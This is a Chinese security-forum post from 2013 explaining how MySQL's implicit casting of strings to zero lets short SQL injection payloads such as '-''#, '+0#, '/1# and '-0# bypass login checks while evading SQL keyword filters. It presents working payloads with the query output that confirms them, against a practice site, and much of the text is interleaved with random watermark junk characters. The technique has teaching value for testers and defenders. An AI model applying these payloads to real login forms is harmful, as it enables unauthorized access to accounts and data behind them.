找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2064|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。% `+ @, w6 P3 ]
有以下表结构:
! q# e  y3 ^3 d7 K5 J/ S# K! O; G$ z5 a
mysql> desc admin;
- {5 S7 U( {. H+----------+--------------+------+-----+---------+----------------+1 U" ~' q: K! x+ `0 U
| Field    | Type         | Null | Key | Default | Extra          |  p) o/ r0 B3 L* @' o
+----------+--------------+------+-----+---------+----------------++ q! I  Z; p5 S$ X6 K
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
( g4 f5 {: @7 D  _0 i| name     | char(32)     | NO   | UNI | NULL    |                |
% @5 v8 }; e2 c/ || password | char(32)     | NO   | UNI | NULL    |                |; u: S5 N( J  S2 n# q6 B+ ^$ c* R
+----------+--------------+------+-----+---------+----------------+5 E! f( u* n: ~) H( F
3 rows in set (0.00 sec)
2 A/ P1 O6 U4 C; X- D执行select * from admin;,成功返回所有记录内容。
& r( d$ ^1 t" h, @+ x: |8 @! v6 O+ ^2 c/ E. x! e, k

7 Y9 w: R" v$ V$ ?% N' {+----+--------+----------------------------------+: _0 i& ~7 z- |' C$ x" a6 L
| id | name   | password                         |; |; }, P, {! O( ~7 R* K7 A2 e
+----+--------+----------------------------------+- _! K% K6 {. v
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
" A3 u1 x! o% P; D" g# p|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
8 k0 s8 c8 t7 E8 b|  4 | n00b   | ff80e8508d39047460921792273533a4 |! r- u% C0 l* j
+----+--------+----------------------------------+
! t; a# L* h/ w3 rows in set (0.00 sec)9 v+ K# [: j* S3 V
执行select * from admin where name=”;,没有匹配到任何记录。
/ H& A: ]( X/ E  }7 J- X# d# X
3 R3 h8 \+ e$ `: N! }mysql> select * from admin where name = '';% T. Q: }" G) o! m4 b
Empty set (0.00 sec)4 j4 |2 g: Q+ P; p& i
那么我们来执行select * from admin where name = ”-”;
0 L( S+ ~/ V9 k& o" m% o  h& w
5 H. L: [8 b" B4 Y; }% m4 M: p/ K1 X/ Z+ `) F
+----+--------+----------------------------------+) i# I/ I% z# o/ w3 E
| id | name   | password                         |" h+ `+ H" K& J2 G
+----+--------+----------------------------------+6 p$ j+ }; ?/ o. ^4 v. F% \
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |  e  |" L0 S& R, u
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |$ ]8 t! r* M/ d4 b4 v
|  4 | n00b   | ff80e8508d39047460921792273533a4 |5 y' b" R8 s9 M
+----+--------+----------------------------------+, V$ f) y) I6 H2 v
3 rows in set, 3 warnings (0.00 sec)2 ^! a6 _$ b  @# k
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: ( q! Y7 c- y3 |  q0 q! l7 N
# R$ J4 r# n% n5 t, _/ _# V2 |
mysql> show warnings;
1 Q) e4 F7 r2 j$ H$ u+---------+------+------------------------------------------; P1 Z4 Q' o$ E5 d( i
| Level   | Code | Message) e* z; K5 t* [+ v& F" J
+---------+------+------------------------------------------4 a- i( l. i% j- S
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin! {, W4 X0 c8 \7 W. }8 Z$ [
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s: U: F8 M- M  G0 V7 e8 e% ?
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b/ S' v  i2 A& K" V7 K9 z+ E
+---------+------+------------------------------------------
  r* i) V+ f3 V9 q, g7 Z3 rows in set (0.00 sec)
4 ^3 f) @- Q# z  I提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
3 Y3 q; _- z: o- k3 d& K, R
4 L( ^0 Z4 Y/ f8 c% C( Y$ Xmysql> select ''-'';
; S3 Y! ]0 G& P: v+-------+# K5 u* U- J2 E  [- }6 X
| ''-'' |
) r0 {$ a# p. G" J$ ?+-------+" m- w  ~( w- u9 l# D( Y: Z' }
|     0 |
' a) E9 x, O( y0 v+ ^: g6 C% v+-------+
' E+ a- E; v$ m- H% H* \4 d! F1 row in set (0.00 sec)7 a2 D: O0 c9 D0 V" [  z% o* w% o
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ( Y# r4 V% ~# [. Z  x# `& J+ [8 G
8 g: i9 U3 W" X3 y
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);; ?' j) P* l8 ]* k
+-----------------------------------------------------+
% E# r9 x3 K) \0 M' i) e| CAST((select name from admin limit 1,1) as DECIMAL) |
  f2 e/ W2 J2 P+-----------------------------------------------------+; N, N( ], _) }2 L$ b2 u% ~
|                                                   0 |" f2 J4 {5 x- y
+-----------------------------------------------------+) |- Y- G$ G( M; L
1 row in set, 1 warning (0.00 sec), v+ r) X' r7 D! d9 p: {2 w! w, [/ j3 ^/ Y
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ( m7 V2 p; j3 ?+ d
7 l" Q+ r* W; }; K0 o7 Q  B6 u
SQL注入场景: http://www.sqlzoo.net/hack/
4 N# s4 q& s$ \) P2 J3 q: T! o/ {  @
" m9 s% ^- q4 f6 S

: z9 X8 p/ U/ |8 L5 h- u
+ v! F. q) o' D6 ^如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
% K* B# D. `* h4 N5 j7 n
: Z0 [; r% Y; d3 M, I那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
( R$ V: e- y9 p" l0 [( L# o+ D' e% Z! V8 {, d* @4 o3 f
3 L8 B% n* i6 y
% s3 w; N0 O& t* L$ H, d' C
+ a0 z& e! ~1 a& b
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
/ P, |1 r) f) ?% [7 b
& p  _; }( V! `$ e. ?6 {. g) n( N   
) i3 x3 w- R. i
+ K! i6 u4 P7 t  m除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
; y8 b9 Z- E+ d5 `! @8 k7 ~3 I* v- u" H0 K+ J0 _" r

+ K; z* ?& {# a3 G  ^mysql> select ''/1;
5 t: R( E, c$ V! b2 n+------+; m+ f  n$ Q0 ]. w! j5 z; D9 _- ~
| ''/1 |; D/ ^, o& }' Y# ?
+------+
, Z6 y' S' ~7 s|    0 |
5 d, y4 |1 r/ h+------+
# T+ b7 K8 z: v! e2 S/ o0 N5 `8 q1 row in set (0.00 sec)! D2 G) ^9 N" W" k8 c) D$ F
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
- j. f3 C2 C3 ~  D
  L( j& g: a) U  l8 C7 w# a' H利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。  r) g0 G. R# z  o/ f% M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表